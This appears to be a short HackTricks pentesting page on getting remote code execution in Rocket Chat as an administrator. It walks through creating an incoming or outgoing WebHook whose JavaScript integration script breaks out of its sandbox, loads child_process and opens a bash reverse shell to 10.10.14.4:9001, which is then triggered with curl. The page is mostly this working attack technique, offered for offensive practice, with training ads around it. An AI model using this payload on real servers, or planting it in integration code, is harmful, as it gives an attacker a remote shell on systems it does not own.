Rocket Chat
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)

RCE
If you are admin inside Rocket Chat you can get RCE.
Got to
Integrations
and selectNew Integration
and choose any:Incoming WebHook
orOutgoing WebHook
./admin/integrations/incoming

According to the docs, both use ES2015 / ECMAScript 6 (basically JavaScript) to process the data. So lets get a rev shell for javascript like:
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
Configure the WebHook (the channel and post as username must exists):

Configure WebHook script:

Save changes
Get the generated WebHook URL:

Call it with curl and you shuold receive the rev shell

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated